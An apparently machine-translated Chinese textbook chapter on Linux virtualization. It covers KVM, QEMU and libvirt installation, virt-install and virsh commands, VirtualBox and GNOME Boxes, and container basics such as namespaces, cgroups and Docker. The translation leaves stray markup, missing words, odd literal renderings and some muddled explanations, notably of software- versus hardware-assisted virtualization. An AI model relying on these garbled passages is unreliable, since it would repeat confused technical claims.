在我们的测试实验室中,我们有几台物理机器,以笔记本电脑和台式电脑的形式作为服务器。 每个系统都有大量可用资源,足够运行我们需要的服务。 例如,我们性能最差的系统是一台笔记本电脑,它具有双核 Intel i3(超线程)、8 GB 的 DDR3 RAM 和 120 GB 的 SSD。 我们也有一个第五代英特尔 NUC 完全相同的配置。 这两个系统拥有大量资源,可以通过使用 VMs 更有效地利用这些资源。 对于在我们的本地网络上运行本地 web 服务或任何类型的服务器,这些资源可以在几个 vm 之间分配。 例如,每个物理系统可以托管四个不同的虚拟机,每个虚拟机使用一个 CPU 内核、2 GB 内存和 30 GB 存储。 这样,一台机器的工作原理就好像有四个不同的机器一样。 这比使用不同的机器来完成单个任务要高效得多。 - -在下面的图中,我们比较了单个计算机上的负载和多个 vm 之间的相同负载。 这种使用相同硬件资源的方式更有效: - -![Figure 11.1 – Comparison between single computer use and using multiple VMs](img/B13196_11_01.jpg) - -图 11.1 -使用单台计算机和使用多台虚拟机的比较 - -为了本章练习的目的,当我们使用 Ubuntu 时,它将在第十代 Intel NUC 上使用四核 Intel i5 CPU(带超线程),12gb 的 DDR4 RAM 和 512gb 的 SSD 存储。 在这台特定的机器上,我们最多可以使用 8 个 vm,每个 vm 使用一个 CPU 内核、1.5 GB RAM 和 64 GB 存储。 当我们使用 CentOS 时,这将在第五代 Intel NUC 上使用双核 Intel i3 CPU(超线程),8gb 的 DDR3 RAM 和 120gb 的 SSD 存储。 - -尽管如此,由于我们将在主机操作系统上使用 hypervisor,我们将必须保留一些资源供操作系统使用,因此 vm 的数量将会更少。 以下是虚拟机在主机操作系统上工作的草图: - -![Figure 11.2 – How virtualization works on a host OS](img/B13196_11_02.jpg) - -图 11.2 -虚拟化在主机操作系统上的工作方式 - -上图展示了虚拟化在主机操作系统上的工作方式。 正如我们将在下面几节中看到的,它并不是所使用的虚拟化的唯一类型。 - -效率与无关,只与所使用的硬件资源有关。 数据中心中硬件的高效使用与能源效率和碳足迹有关。 在这方面,虚拟化几十年来在改变数据中心内服务器的使用模式方面发挥了重要作用。 总的来说,虚拟化和集装箱化是对抗气候变化的重要角色。 - -在下面几节中,我们将简要介绍什么是管理程序和 vm。 - -## hypervisor 简介 - -虚拟化所基于的软件层称为**hypervisor**。 物理资源被划分并作为虚拟计算机(或者更好的称为**虚拟机**)使用。 通过使用 vm,通过**仿真**的过程克服了物理硬件的限制。 这有很多优点,可以更好地使用硬件。 - -管理程序既可以在现有的 OS 上使用——**类型 2**,也可以直接在裸金属(硬件)上使用——**类型 1**。 对于每一种类型,都有几种解决方案可以使用,尤其是在 Linux 上。 对于 Linux 操作系统,每种类型的示例如下: - -* 运行在主机操作系统(类型 2)之上的管理程序的例子有 Oracle VirtualBox、VMware Workstation/Fusion。 -* 直接运行在裸金属(类型 1)上的管理程序示例有 Citrix Xen Server、VMware ESXi -* **基于内核的虚拟机(KVM**)主要是分类裸金属 hypervisor(1 型),而其底层系统是一个完整的操作系统,因此被归类为主机程序同时(2 型)**** - - **在本节中,我们将专门使用 KVM 作为首选的管理程序。 不过,我们将向您展示如何使用其他知名技术,如 Oracle 的 VirtualBox。 - -## 了解虚拟机 - -虚拟机类似于一台独立的计算机。 它是一个基于软件的模拟器,可以访问主机计算机的资源。 它使用主机 CPU、RAM、存储、网络接口和端口。 它是一个虚拟环境,具有与物理计算机相同的功能; 它也被看作是一台虚拟计算机。 - -每个虚拟机的资源由 hypervisor 管理。 可以在已有的虚拟机之间进行资源迁移,也可以创建新的虚拟机。 虚拟机之间、虚拟机与主机之间隔离。 由于一台计算机上可以存在多个虚拟机,因此每个虚拟机可以使用不同的来宾操作系统。 例如,如果您使用 Windows 机器并想尝试 Linux,一个流行的解决方案是使用您想尝试的 Linux 发行版创建一个 VM。 Mac 用户也是如此。 虚拟机内部安装的操作系统与裸金属安装的操作系统类似。 不同的管理程序的用户体验可能不同,资源效率和响应时间也可能不同。 例如,从我们的经验来看,从 KVM 运行 vm 要比从 VirtualBox 运行顺畅得多,但不同用户的用例可能有所不同。 - -## 选择 hypervisor - -在这个节中,我们将向您展示如何使用名为 VirtualBox 和 KVM 的管理程序。 作为一个可选的解决方案,我们还将讨论 GNOME Boxes。 由于 KVM 和 GNOME box 都可以直接从 Linux 存储库中获得,我们认为它们是 Linux 新手的更好的解决方案。 KVM 和 GNOME box 共享部分`libvirt`和`qemu`代码(将在以下部分详细介绍),在这方面,我们认为它们是相同的 hypervisor,主要是 KVM。 - -在[*第 1 章*](01.html#_idTextAnchor014),*安装 Linux*中,您第一次看到使用 hypervisor 来设置 Linux VM。 我们展示了如何使用 VMware Fusion 和 VirtualBox 来设置 Linux 虚拟机。 然后使用的细节应该足够任何用户,无论是谁是经验丰富的人或新手。 在本节中,我们将只给出在 Ubuntu 上安装 VirtualBox 的简要信息。 在[*第一章*](01.html#_idTextAnchor014),*安装 Linux*中,我们在 macOS 上使用了 VirtualBox。 - -### 通过 VirtualBox 虚拟化环境 - -VirtualBox 由 Oracle 开发,是一个开源项目。 它为 Windows、macOS 和 Linux 提供跨平台支持。 它只支持 x86 架构,因此可以在基于英特尔和 amd 的计算机上使用,而对苹果的 arm 架构的支持还没有开发出来。 VirtualBox 的大多数用例是在桌面或笔记本电脑上,并启用图形用户界面。 - -由于 VirtualBox 无法从 Ubuntu 官方软件库下载,您需要从外部资源安装它。 到官网下载。 链接为[https://www.virtualbox.org/wiki/Linux_Downloads](https://www.virtualbox.org/wiki/Linux_Downloads)。 从页面上显示的列表中,单击指定主机操作系统的链接。 在我们的例子中,它是 Ubuntu 20.04.1 LTS,所以我们将点击显示**Ubuntu 19.10 / 20.04**的链接。 一旦下载了软件包,您将必须通过双击来安装它。 安装过程只需要几分钟就可以完成。 - -我们还建议安装 VirtualBox 扩展包,可以通过以下链接获得:[https://www.virtualbox.org/wiki/Downloads](https://www.virtualbox.org/wiki/Downloads)。 这个包将增加对 USB 3.0、PXE、NVMe 和磁盘加密的支持。 下载包后,双击它以便安装它。 - -要在 VirtualBox 中创建虚拟机,您需要单击**New**按钮并按照说明操作。 下面是创建第一个虚拟机的详细步骤: - -1. 通过提供名称、类型、版本和目标文件夹添加新的虚拟机。 在下面的示例中,我们将为 openSUSE Leap 15.2 创建一个虚拟机。 我们添加名称并单击 Next 按钮。 -2. 在下一个窗口中指定内存大小。 我们建议至少 2 GB/VM。 -3. 选择创建虚拟磁盘的选项,然后单击**create**按钮。 -4. 选择虚拟磁盘类型。 如果您不打算将映像与其他管理程序一起使用,请选择默认的**VirtualBox Disk image**(**VDI**)。 -5. 指定新磁盘文件是固定的还是动态的。 我们建议使用动态类型,因为在这个阶段,我们可能不会使用整个磁盘大小。 如果您认为固定大小更适合您的使用,请选择该特定类型。 -6. 选择虚拟磁盘文件的大小及其在接下来窗口中的位置。 -7. 完成虚拟机的创建。 在 VirtualBox 主窗口中,点击**设置**按钮,在新窗口中,选择**系统**,然后选择要使用的 cpu 数量。 对于支持 GUI 的 Linux 发行版,我们建议至少使用 2 个 CPU 内核。 然而,单个核心对于只使用 cli 的服务器实例就足够了。 -8. 选择 openSUSE 安装盘,开始安装。 如果您计划使用另一个发行版,请使用为此下载的映像。 - -使用 VirtualBox 相对简单明了。 尽管如此,可能有一些问题需要您来克服,比如安全引导问题,但没有什么是太费力的。 - -重要提示 - -如果启用了安全启动,在 VirtualBox 中创建的虚拟机可能无法启动。 如果是这种情况,请重新启动系统,打开 BIOS,禁用安全启动。 在系统引导后启动虚拟机将正常工作。 - -VirtualBox 提供了 Guest 添加软件,强大的硬件支持,虚拟机组,并支持大量的主机操作系统版本。 - -VirtualBox 客户端**软件提供了一些默认情况下不提供的新设备驱动程序(为了更好的外设集成和视频支持),以及额外的系统应用。 添加的客户机以 ISO 文件的形式提供,该文件与包一起提供,并安装在`/usr/share/virtualbox/`目录中。 VirtualBox 有几个特性可以让它成为您的虚拟机监控程序解决方案的合适人选,但在我们看来,它仍然缺乏 KVM 的技巧。** - - **### 通过 KVM 虚拟化环境 - -KVM 管理程序是一个开源的虚拟化项目,可以在所有主要的 Linux 发行版上使用。 它是一种现代的 hypervisor,它使用特定的内核模块来利用 Linux 内核提供的所有好处,包括内存支持、调度器、嵌套虚拟化、GPU 直通等等。 - -#### KVM 的详细信息- QEMU 和 libvirt - -KVM 使用 Quick Emulator(简称 QEMU)作为所有硬件组件和外围设备的仿真器软件。 用于 KVM 的管理程序和**应用编程接口**(**API**)的主管理工具和守护进程是,称为`libvirt`。 KVM 与`libvirt`的接口,特别是在 GNOME 中,是`virt-manager`。 `libvirt`的命令行称为`virsh`。 - -`libvirt`API 提供了管理虚拟机的公共库,是创建、修改、发放虚拟机的管理层。 它在后台作为一个名为`libvirtd`的守护进程运行,在客户端请求时管理与 hypervisor 的连接。 - -QEMU 既是一个仿真器,也是一个虚拟化器。 QEMU 作为仿真器使用**动态二进制转换**方法进行操作。 这意味着它可以在主机上使用不同类型的操作系统,即使它们是为不同的架构设计的。 动态二进制转换用于基于软件的虚拟化,即在虚拟化环境中模拟硬件来执行指令。 通过这种方式,QEMU 模拟机器的 CPU,使用一种称为**Tiny Code Generator**(**TCG**)的特定二进制转换器方法,该方法为不同类型的体系结构转换二进制代码。 - -当用作虚拟化程序时,QEMU 使用所谓的基于硬件的虚拟化,其中不使用二进制转换,因为指令是直接在主机 CPU 上执行的。 软件辅助虚拟化和硬件辅助虚拟化的区别如下图所示: - -![Figure 11.3 – Comparison between software- and hardware-assisted virtualization](img/B13196_11_03.jpg) - -图 11.3 -软件和硬件辅助虚拟化的比较 - -正如您在图中所看到的,在使用软件和硬件辅助虚拟化时,指令有不同的路径。 在软件辅助虚拟化中,当使用动态二进制转换时,用户的非特权指令直接被发送到硬件,而来宾操作系统的特权指令在到达硬件之前首先被发送到 hypervisor。 在硬件辅助虚拟化中,用户的非特权指令首先被发送到管理程序,然后被发送到硬件,而来自来宾操作系统的特权指令的路径与软件辅助虚拟化中的相同。 这确保了客户操作系统具有一定的隔离级别,从而实现更好的性能和更少的复杂性。 - -在下一节中,我们将向您展示如何在 CentOS 8 机器上安装和配置 QEMU。 - -#### 安装 QEMU 和 libvirt - -安装 QEMU 是一个简单的任务。 您所需要做的就是运行您的发行版的包安装程序实用程序。 在我们的案例中,由于我们使用的是 CentOS,我们将使用`yum`如下: - -```sh -sudo yum install qemu-kvm -``` - -很有可能这个包已经安装在您的 CentOS 8 发行版上了。 在这种情况下,您将看到以下消息: - -![Figure 11.4 – Installing QEMU](img/B13196_11_04.jpg) - -图 11.4 -安装 QEMU - -我们建议安装发行版提供的包,而不是从源安装。 这样,您将确保包已经安装了所有必需的依赖项。 - -使用以下命令安装必要的模块: - -```sh -yum module install virt -``` - -除了`qemu-kvm`包,您还需要将`libvirt`与其他必要的包一起安装。 以类似的方式使用`yum`命令: - -```sh -sudo yum install libvirt libvirt-client virt-manager virt-install virt-viewer -``` - -同样,你可能会遇到说包已经安装的消息,如下面的输出: - -![Figure 11.5 – Installing libvirt and other requisite packages](img/B13196_11_05.jpg) - -图 11.5 -安装 libvirt 和其他必需的包 - -您可以看到这些输出是有原因的,这里有详细说明。 - -重要提示 - -为什么我们的输出显示这些包是已经安装的原因是,当我们在机器上安装 CentOS 时,我们从一开始就选择了一个完整的虚拟化包安装。 如果不这样做,输出将完全不同。 - -首次安装 CentOS 时,您可以选择软件选择,包括安装客户机代理包、虚拟化客户机包、虚拟化 hypervisor 包以及容器管理包等选项。 - -安装完所有必要的软件包后,要采取的安全措施是检查您的机器是否与 KVM 要求兼容。 为此,以根用户身份使用`virt-host-validate`命令,或者使用`sudo`。 输出如下所示: - -![Figure 11.6 – Checking system compatibility](img/B13196_11_06.jpg) - -图 11.6 -检查系统兼容性 - -在上面的输出中,显示了关于内核中**Input-Output Memory Management Unit**(**IOMMU**)未被激活的警告,以及关于支持安全客户机的警告。 第二个警告是由于在计算机的 BIOS 中禁用了安全引导。 对于第一个警告,可以通过在内核级别激活 IOMMU 支持轻松地修复它。 - -重要提示 - -什么是**IOMMU**? 它是一种内存管理单元,用于管理系统的嵌入式或 DRAM 内存的**直接内存访问**(**DMA**)请求。 简而言之,IOMMU 的设计目的是虚拟化内存空间,以便在驱动程序和硬件之间实现更好的关联。 - -要启用 IOMMU 对内核的支持,请编辑`/etc/default/grub`文件。 找到说`GRUB_CMDLINE_LINUX`的那一行,并在末尾添加以下文本(如果您使用 Intel 硬件):`intel_iommu=on`。 如果你有 AMD CPU 和主板芯片组,添加`amd_iommu=on`: - -![Figure 11.7 – Activating kernel IOMMU support](img/B13196_11_07.jpg) - -图 11.7 -激活内核 IOMMU 支持 - -修改文件后,保存更改,刷新`grub.cfg`文件,然后重新引导系统。 使用以下命令刷新 GRUB2 文件: - -![Figure 11.8 – Refreshing the grub.cfg file before restarting](img/B13196_11_08.jpg) - -图 11.8 -重新启动前刷新 grub.cfg 文件 - -系统重新启动后,可以再次运行`virt-host-validate`命令。 您将看到关于 IOMMU 内核支持的警告不再存在。 请忽略第二个警告,因为我们在 BIOS 中仍然禁用了安全引导。 在任何情况下,你甚至可能不会在你的输出中有这最后一个警告: - -![Figure 11.9 – Running the virt-host-validate command once more](img/B13196_11_09.jpg) - -图 11.9 -再次运行 virt-host-validate 命令 - -在看到没有兼容性问题之后,我们可以使用命令行界面创建我们的第一个 VM。 - -#### 使用命令行创建第一个虚拟机 - -在实际创建第一个 VM 之前,确保`libvirtd`守护进程正在积极运行。 为此,我们将使用`systemctl`实用程序,如下面的代码片段所示: - -```sh -systemctl start libvirtd; systemctl status libvirtd -``` - -为了创建 VM,首先需要下载来宾操作系统的映像文件。 对于我们的第一个 VM,我们计划使用 Debian 10.7Linux 发行版。 首先,我们将使用以下命令下载 net-install(较小的)ISO 镜像: - -```sh -wget https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-10.7.0-amd64-netinst.iso -``` - -下载位置将在`/tmp/Downloads`内: - -![Figure 11.10 – Downloading the Debian image for our first VM](img/B13196_11_10.jpg) - -图 11.10 -下载第一个 VM 的 Debian 映像 - -下载 Debian 映像后,我们将使用`virt-install`命令在主机系统上创建第一个 VM。 对于本练习,我们将使用第五代 Intel NUC 系统,该系统具有 Intel i3 双核处理器、8 GB RAM 和 120 GB 存储空间。 主机操作系统为 CentOS 8。 我们将创建一个 VM,它将使用单个虚拟 CPU (vCPU)、2 GB RAM 和 20 GB 存储。 - -`virt-install`命令有以下参数(必须): - -* `--name`:新虚拟机的名称 -* `--memory`:虚拟机使用的内存 -* `--vcpus`:新虚拟机使用的虚拟 cpu 个数 -* `--disk size`:所使用的存储容量 -* `--os-type`:操作系统类型,在我们的例子中是 Linux -* `--os-variant`:客户操作系统类型 -* `--location`:来宾操作系统 ISO 文件的位置 - -所有这些都是强制性的,`–os-variant`可能会给您带来一些问题,因为您可能不知道该写什么。 为了找到操作系统类型,您应该使用`osinfo-query os`命令。 运行它将输出一长串已知操作系统及其短 ID(按字母顺序排序)。 下面是一个简短的摘录,其中 Alpine Linux 是第一个在列表中: - -![Figure 11.11 – List of known OSes](img/B13196_11_11.jpg) - -图 11.11 -已知操作系统列表 - -如果您也计划安装 Debian 10,那么您将看到这个著名的通用操作系统的第十版不在列表中。 然而,使用`debian10`ID 不会导致任何问题。 创建虚拟机的命令如下(以 root 用户运行): - -```sh -virt-install --name debian-vm1 --memory 2048 --vcpus 1 --disk size=20 --os-type=Linux --os-variant debian10 --location /tmp/Downloads/debian-10.7.0-amd64-netinst.iso -``` - -由于在`virt-install`命令中没有设置任何`–display`参数,输出将显示两个警告: - -![Figure 11.12 – Warning that there are no display and console arguments set](img/B13196_11_12.jpg) - -图 11.12 -没有设置显示和控制台参数的警告 - -继续安装的唯一方法是进入图形用户界面,启动 Virtual Machine Manager,然后从那里继续安装 Debian: - -![Figure 11.13 – GUI Virtual Machine Manager](img/B13196_11_13.jpg) - -图 11.13 - GUI Virtual Machine Manager - -要克服缺乏图形使用的问题,可以在命令中使用`–graphics`参数。 `virt-viewer`包需要安装后才能使用。 在我们的示例中,它已经安装在系统上。 现在,让我们更改`virt-install`命令。 新的版本应该如下所示: - -```sh -virt-install --virt-type=kvm --name Debian-vm --vcpus 1 --memory 2048 --os-variant=debian10 --os-type=Linux --location=/tmp/debian-10.7.0-amd64-netinst.iso --network=default --disk size=10 --graphics=vnc -``` - -通过使用带有`–graphics=vnc`参数的命令,`virt-install`将启动`virt-viewer`,这是用于使用 VNC 协议显示图形化控制台的默认工具。 对于系统管理员来说,仅了解如何创建虚拟机是不够的。 这就是为什么在下一节中,我们将向您展示一些要使用的基本 VM 管理工具。 - -#### 基本的虚拟机管理 - -在使用命令行界面时,可以使用`virsh`命令执行基本 VM 任务;在使用图形用户界面时,可以使用 Virtual Machine Manager 执行基本 VM 任务。 在下面,我们将向您展示在 CLI 中使用的基本命令。 - -要列出现有的 VM 来宾,使用`virsh list`命令: - -![Figure 11.14 – Listing all the VMs using virsh](img/B13196_11_14.jpg) - -图 11.14 -使用 virsh 列出所有虚拟机 - -请注意,列出虚拟机不是任何人都能完成的。 这就是为什么需要考虑以下的说明: - -重要提示 - -当尝试列出现有的来宾 vm 时,当使用普通用户时,您将得不到有效的输出。 您需要以 root 身份登录,或者使用`sudo`查看虚拟机列表。 - -修改虚拟机的状态,如启动、停止和暂停,使用如下命令: - -* **强制关闭 VM**:`virsh destroy [vm-name]`: - -![Figure 11.15 – Force stopping a VM](img/B13196_11_15.jpg) - -图 11.15 -强制关闭虚拟机 - -* **重启虚拟机**:`virsh reboot [vm-name]`: - -![Figure 11.16 – Rebooting a VM](img/B13196_11_16.jpg) - -图 11.16 -重新启动虚拟机 - -* **暂停(暂停)虚拟机**:`virsh suspend [vm-name]`: - -![Figure 11.17 – Suspending a VM](img/B13196_11_17.jpg) - -图 11.17 -暂停虚拟机 - -* **启动虚拟机**:`virsh start [vm-name]`: - -![Figure 11.18 – Starting a stopped VM](img/B13196_11_18.jpg) - -图 11.18 -启动一个已停止的虚拟机 - -* 恢复一个已经挂起(暂停)的 VM:`virsh resume [vm-name]`: - -![Figure 11.19 – Resuming a paused VM](img/B13196_11_19.jpg) - -图 11.19 -恢复暂停的虚拟机 - -* **完全删除虚拟机 guest**:`virsh undefine [vm-name]`: - -![Figure 11.20 – Deleting a VM](img/B13196_11_20.jpg) - -图 11.20 -删除虚拟机 - -用于管理 vm 的命令行工具功能强大,并提供各种选项。 如果我们考虑到这样一个事实,即大多数时候,系统管理员将使用 CLI 而不是 GUI,那么使用命令行工具的能力就至关重要。 对于`virsh`可用的所有选项,请使用以下命令参阅手册页: - -```sh -man virsh   -``` - -尽管如此,您仍然可以使用 GUI 工具。 所有使用 GNOME 作为桌面环境的现代 Linux 发行版将至少提供两个有用的工具:Virtual Machine Manager 和 GNOME Boxes。 第一种是用于`libvirt`的简单 GUI 界面,而后者是一种基于 QEMU/KVM 技术的新而简单的方式来发放 vm,以便在 GNOME 内部立即使用。 既然您已经知道如何使用`virsh`,我们将让您自己探索如何使用 Virtual Machine Manager。 - -在下一节中,我们将向您展示如何在 CentOS 8 中使用 GNOME box。 - -### 使用 GNOME 框 - -Boxes 是 GNOME 中相对较新的工具。 当您需要一个虚拟环境进行测试和/或试验时,它很容易使用,并提供了一个直观的解决方案。 以下是使用 GNOME Boxes 创建新虚拟机的步骤: - -1. To start Boxes, open the activities menu in GNOME, or hit the Windows logo key on your keyboard. This will bring up the activities window overview, which, by default, has an application dock on the left and a virtual desktop column on the right, with a search box right at the top. Inside the search box, type `Boxes` and the boxes app icon will appear on screen. Hit *Enter* and the GNOME Boxes app will start. If it is the first time you are using the app, a welcome tutorial will be shown on screen. Feel free to explore it: - - ![Figure 11.21 – GNOME Boxes tutorial window](img/B13196_11_21.jpg) - - 图 11.21 - GNOME Boxes 教程窗口 - -2. Once you finish skimming through the tutorial, you will be able to create your first box by clicking on the **+** button in the upper-left corner of the app. Select **Create a Virtual Machine**: - - ![Figure 11.22 – Choosing the option to create a VM](img/B13196_11_22.jpg) - - 图 11.22 -选择创建虚拟机的选项 - -3. A new window will appear, inside which you will be able to select the OS for the guest VM. A short list of distributions is provided upfront, but you also have the option to select another OS. We will choose that and proceed to select openSUSE Leap 15.2 from the relatively long list of distributions: - - ![Figure 11.23 – Selecting the guest VM OS](img/B13196_11_23.jpg) - - 图 11.23 -选择虚拟机操作系统 - -4. Once you click on the desired OS, Boxes will automatically start to download the new VM's OS of your choosing. The download process will not be intrusive at all; simply a small message will pop up from the upper-left corner of the app. The process will take some time to finish, depending on your bandwidth: - - ![Figure 11.24 – New box installation pop-up message](img/B13196_11_24.jpg) - - 图 11.24 -弹出安装新框的消息 - -5. Once the download is complete, a new window will appear, with the option of an express installation and setting up a new user. Choose your username and password and proceed by clicking the **Next** button in the upper-right corner: - - ![Figure 11.25 – Express installation and user creation](img/B13196_11_25.jpg) - - 图 11.25 -快速安装和用户创建 - -6. Once you have created a username and password, a new window will appear. This time, you will be able to customize the default resource allocation of the VM. You will be shown the amount of memory and disk storage already allocated. If you want to change that, click the **Customize** button. There is no vCPU change option: - - ![Figure 11.26 – Resource allocation](img/B13196_11_26.jpg) - - 图 11.26 -资源分配 - -7. Once you customize the resource allocation, click on the **Create** button in the upper-right corner of the window. The VM creation will start. In the new window, the new VM will appear with a progress sign in front of the name. All you have to do is to click on it to open a new window in which you will be able to interact with the setup process. This might take some time to complete, depending on the resources you provided. Once it is finished, you will be able to use the new VM: - - ![Figure 11.27 – Installing the guest OS](img/B13196_11_27.jpg) - - 图 11.27 -安装来宾操作系统 - -8. After installation, the new VM will be available to use inside Boxes: - - ![Figure 11.28 – The new VM is ready to use](img/B13196_11_28.jpg) - - 图 11.28 -新的 VM 可以使用了 - -9. You can now right-click on it and select the **Properties** entry. This way, you will be able to modify resources of the VM, including the number of vCPUs used. In the new **Properties** window, select the **System** tab to modify the number of vCPUs, among other options: - - ![Figure 11.29 – Changing the relevant properties of the VM](img/B13196_11_29.jpg) - - 图 11.29 -更改虚拟机的相关属性 - -10. 修改 vcpu 数量后,重启虚拟机。 从现在开始,VM 由您支配,随时可以使用。 - -虚拟化是计算的一个重要部分,它提供了利用现代系统提供的巨大计算能力所需要的技术。 它让你有能力从硬件技术的投资中获得最大的收益。 虚拟化可以在几个不同的级别上使用: - -* **操作系统级虚拟化**:一台计算机可以运行多个不同的操作系统 -* **服务器级虚拟化**:当单个服务器可以像许多其他服务器一样工作时 -* **网络级虚拟化**:当隔离时,可以从单个原始网络创建虚拟网络 - -虚拟化为许多潜在用户打开了大门,管理员、开发人员和用户都将从中受益。 虚拟化技术的优化具有更好的性能和使用优势。 云计算受益于虚拟化的技术和理念,新的容器技术也是如此。 在下一节中,我们将向您介绍容器—它们是什么以及它们如何工作。 - -# 了解 Linux 容器 - -正如已经演示的,有两种主要类型的虚拟化:**基于虚拟机的**和**基于容器的**。 我们在前一节中讨论了基于 vm 的虚拟化,现在是时候解释什么是容器了。 在非常基本的概念层面上,容器类似于 vm。 它们有相似的目的——允许运行一个隔离的环境,只是它们在许多方面不同,很难称之为相似。 - -## 容器 vs 虚拟机 - -正如您已经知道的,VM 模拟机器的硬件,并且使用它,就好像有几台不同的机器可用一样。 相比之下,容器不会复制物理机器的硬件。 他们不模仿任何东西。 - -容器将基本 OS 内核与某些应用运行所需的共享库和二进制文件共享在一起。 应用包含在容器中,与系统的其他部分隔离。 它们还与主机共享一个网络接口,以提供类似于 VM 的连接。 - -容器运行在容器引擎**上**。 容器引擎提供操作系统级别的虚拟化,用于仅使用必要的库和依赖来部署和测试应用。 通过这种方式,容器通过提供与开发人员预期的相同的行为,确保应用可以在任何机器上运行。 下面是容器和虚拟机的直观对比: - -![Figure 11.30 – Containers versus VMs (general scheme)](img/B13196_11_30.jpg) - -图 11.30 -容器与虚拟机(一般方案) - -如您所见,容器只使用**用户空间**,共享底层操作系统级架构。 - -从历史上看,集装箱化已经存在了一段时间。 在 UNIX 操作系统中,**chroot**是自 1982 年以来用于容器化的工具。 在 Linux 中,一些最新和最常用的工具是 Linux Containers(**LXC/LXD)**,于 2008 年推出,以及**Docker**,于 2013 年推出。 - -## 了解底层容器技术 - -最早的容器形式之一是 12 年前引入的,它被称为 LXC。 新形式的容器,以及改变了整个容器格局并引发了 DevOps 热潮(稍后将详细介绍)的容器称为 Docker。 容器不像管理程序那样抽象硬件级别。 它们使用特定的用户空间接口,该接口受益于内核隔离特定资源的技术。 通过使用 Linux 容器,您可以复制一个默认的 Linux 系统,而无需使用不同的内核,就像使用 VM 一样。 - -尽管 LXC 不再那么流行,但它仍然值得了解。 Docker 在集装箱发动机的使用中占据了领先地位。 为什么使用 LXC/LXD 命名法? 好吧,LXC 是容器块上的第一个孩子,而 LXD 是它的一个更新的、重新设计的版本。 我们不会在示例中使用 LXC/LXD,但出于向后兼容性的目的,我们仍将讨论它。 在撰写本书时,LXC 有两个受支持的版本:2.0 版本,支持到 2021 年 6 月 1 日;3.0 版本,支持到 2023 年 6 月 1 日。 - -根据其开发人员的说法,LXC 使用特性来创建一个与默认 Linux 安装尽可能接近的隔离环境。 在它使用的内核技术中,我们可以提出最重要的一种,它是 Linux 中任何容器的主干:内核**名称空间**和**cgroups**。 除此之外,还有针对 AppArmor 和 SELinux 的 chroot 和安全配置文件。 LXC 最初出现时吸引人的是它用于多种编程语言的 api,包括 Python 3、Go、Ruby 和 Haskell。 - -现在让我们解释 Linux 容器使用的基本特性。 - -### Linux namespaces - -什么是**Linux 命名空间**? 简而言之,命名空间负责容器提供的隔离。 名称空间将全局系统资源包装在抽象层中。 这个进程欺骗了所有运行在命名空间内的应用进程,让它们相信它正在使用的资源是它们自己的。 命名空间在内核的逻辑级别上提供**隔离**,并为任何正在运行的进程提供**可见性**。 - -为了更好地理解名称空间的工作原理,可以考虑 Linux 系统上的任何用户,以及它如何查看不同的系统资源和进程。 作为用户,您可以看到全局系统资源、正在运行的进程、其他用户和内核模块等。 当希望在操作系统级别将容器用作虚拟化环境时,这种透明性可能是有害的。 由于它不能提供虚拟机的封装和仿真级别,容器引擎必须以某种方式克服这一点,而内核虚拟化环境的底层机制以名称空间和 cgroup 的形式出现。 - -在 Linux 内核中有几种类型的命名空间,我们将很快描述它们: - -* 挂载命名空间:它们限制单个命名空间中可用的文件系统挂载点的可见性,以便来自该命名空间的进程对文件系统列表具有可见性; 进程可以有自己的根文件系统和不同的私有或共享挂载。 -* **UTS 命名空间**:隔离系统的主机名和域名。 -* **IPC 名称空间**:允许进程拥有自己的 IPC 共享内存、队列和信号量。 -* **PID 命名空间**:允许将 PID 映射到 PID 为 1 的进程(进程树的根),从而派生出具有自己根进程的新树; PID 名称空间内的进程只能看到相同 PID 名称空间内的进程。 -* **网络命名空间**:网络协议级别的抽象; 网络命名空间中的进程有一个私有网络堆栈,其中包含私有网络接口、路由表、套接字和 iptables 规则。 -* **用户名称空间**:允许 UID 和 GID 的映射,包括根 UID 0 作为非特权用户。 -* **cgroup 命名空间**:A cgroup 命名空间进程可以看到相对于命名空间根的文件系统路径。 - -前面提到的命名空间可以通过 Linux 下的`lsns`命令查看: - -![Figure 11.31 – Using lsns to view the available namespaces](img/B13196_11_31.jpg) - -图 11.31 -使用 lsns 查看可用的命名空间 - -在下一节中,我们将分解**cgroups**,这是容器的第二个主要构建块。 - -### Linux cgroups - -什么是**cgroups**? 它们的名称来自**对照组**,它们是限制和管理进程的资源分配的内核特性。 cgroup 控制如何使用内存、CPU、I/O 和网络。 它们提供了一种机制来确定特定的任务集,这些任务集限制一个流程可以使用多少资源。 它们基于**层次结构**的概念。 每个子组将继承其父组的属性,多个 cgroup 层次结构可以同时存在于一个系统中。 - -cgroup 和名称空间的组合创建了容器构建所依赖的实际隔离。 通过使用 cgroup 和命名空间,可以分别为每个容器分配和管理资源。 与 vm 相比,容器是轻量级的,并且作为独立的实体运行。 - -## 了解 Docker - -Docker,类似于 LXC/LXD,是基于等技术的,基于内核命名空间和 cgroup。 Docker 是一个用于开发和发布应用的平台。 Docker 平台为容器提供了安全运行的底层基础设施。 Docker 容器是直接在主机内核上运行的轻量级实体。 该平台提供了创建和管理隔离的、容器化应用的工具等特性。 因此,容器是用于应用开发、测试和分发的基本单元。 生产准备和适合部署应用时,他们可以装运集装箱或策划服务(我们将讨论编排在[*第 14 章*](14.html#_idTextAnchor252),*部署应用与 Kubernetes*): - -![Figure 11.32 – Docker architecture](img/B13196_11_32.jpg) - -图 11.32 - Docker 架构 - -让我们来解释一下前面的图表。 Docker 使用了 Linux 内核中可用的命名空间和 cgroup,它被分为两个主要组件: - -* **容器运行时**,它本身被分为**runc**和**容器** -* **Docker 引擎**,将拆分为**dockerd**守护进程,**API**接口,**CLI** - -在这些组件中,**containerd**是一个负责下载 Docker 映像并运行它们。 **runc**组件负责管理每个容器的名称空间和 cgroup。 监管容器运行时规范的权威结构称为**Open container Initiative**(**OCI**),它定义了容器的开放行业标准。 **runc**组件遵循 OCI 规范。 根据 OCI,运行时规范定义了如何下载一个映像,解压缩它,并使用特定的文件系统包运行它。 OCI 是 Linux 基金会的一部分。 Docker 将**runc**和**container**捐赠给 Cloud Native Foundation,以便更多的组织能够同时为两者做出贡献。 下图展示了 Docker 架构的细节,其中包括核心组件——Docker 引擎和容器运行时。 - -![Figure 11.33 – Docker architecture details](img/B13196_11_33.jpg) - -图 11.33 - Docker 架构细节 - -码头工人引擎由 API 的接口和**dockerd 守护进程,而容器运行时主要有两个组件——**containerd 守护进程和**runc**【T6 名称空间】和【显示】并且管理。**** - - ****除了上面列出的组件,为了运行和部署 Docker 容器,还使用了许多其他组件。 Docker 采用客户端-服务器架构,其工作流程包括一个**主机**或服务器守护进程,一个**客户端**和一个**注册表**。 主机由映像和容器(从注册中心下载)组成,客户机提供管理容器所需的命令。 - 